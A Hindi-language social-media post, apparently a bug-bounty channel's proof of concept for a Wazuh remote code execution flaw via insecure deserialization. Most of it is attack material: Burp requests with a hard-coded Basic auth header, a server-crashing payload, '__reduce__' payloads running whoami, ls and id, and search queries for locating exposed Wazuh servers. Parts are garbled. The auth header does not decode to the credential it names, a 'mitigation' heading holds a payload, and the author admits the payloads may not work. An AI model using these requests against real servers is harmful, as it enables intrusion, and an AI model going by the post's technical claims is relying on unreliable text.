
Wazuh सर्वर में wazuh-manager पैकेज में असुरक्षित डिसीरियलाइज़ेशन के कारण एक गंभीर RCE भेद्यता की पहचान की गई है। यह बग Wazuh संस्करण ≥ 4.4.0 को प्रभावित करता है और इसे संस्करण 4.9.1 में पैच किया गया है।
🚨 Wazuh रिमोट कोड एक्ज़ीक्यूशन (RCE) - PoC
Wazuh सर्वर में wazuh-manager पैकेज में असुरक्षित डिसीरियलाइज़ेशन के कारण एक गंभीर RCE भेद्यता की पहचान की गई है। यह बग Wazuh संस्करण ≥ 4.4.0 को प्रभावित करता है और संस्करण 4.9.1 में इसे ठीक किया गया है।
🔍 विवरण
यह दोष Wazuh API के DistributedAPI में है, जहाँ उपयोगकर्ता-नियंत्रित इनपुट को असुरक्षित रूप से डिसीरियलाइज़ किया जाता है। यह API एक्सेस वाले हमलावरों (जैसे, समझौता किया गया डैशबोर्ड या क्लस्टर नोड) को run_as एंडपॉइंट का उपयोग करके मास्टर सर्वर पर मनमाना Python कोड निष्पादित करने की अनुमति देता है।
📬 प्रूफ ऑफ कॉन्सेप्ट (Burp अनुरोध)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 Authorization हेडर wazuh-wui:MyS3cr37P450r.*- का base64 है।
📌 यह पेलोड Python की exit() विधि को कॉल करके Wazuh सर्वर को बंद कर देता है।
💥 प्रभाव
🛡️ शमन
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
लेकिन यह अकेले तब तक काम नहीं करेगा जब तक डिसीरियलाइज़ेशन कोड वास्तव में ऑब्जेक्ट ट्री को निष्पादित नहीं करता। इसके बजाय, एक __reduce__-आधारित ऑब्जेक्ट का उपयोग करें जो कोड निष्पादित करता है।
Python के os.system() का उपयोग करते हुए pickle-जैसे लॉजिक के साथ Burp अनुरोध का कार्यशील प्रारूप यहाँ दिया गया है:
💣 कार्यशील Burp RCE पेलोड (Python कोड निष्पादन)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 ls चलाने के लिए, पेलोड बदलें:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
आप इसका भी उपयोग कर सकते हैं:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ नोट: इसके काम करने के लिए वास्तविक डिसीरियलाइज़ेशन बैकएंड में eval() या समान तंत्रों के साथ होना चाहिए। Wazuh PoC के आधार पर, यदि आप auth_context को नियंत्रित करते हैं तो यह वास्तव में संभव है।
🔐 प्रो टिप Burp में अनुरोध को इंटरसेप्ट करें, Repeater टैब पर जाएँ, और इस प्रकार के कई पेलोड परीक्षण करें:
"whoami""id""uname -a""ls /home/wazuh"👇 क्वेरी
product.name="Wazuh"app="Wazuh"यदि प्रतिक्रिया खाली है या स्थिति 500 है, तो लॉग जाँचें — कभी-कभी आउटपुट वापस नहीं आता। 📚 हैकर्स, सतर्क रहें! और bug bounty PoCs, bypasses और payloads आ रहे हैं!
दैनिक हैकिंग सामग्री के लिए 👉 @cybersecplayground को फॉलो करें!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit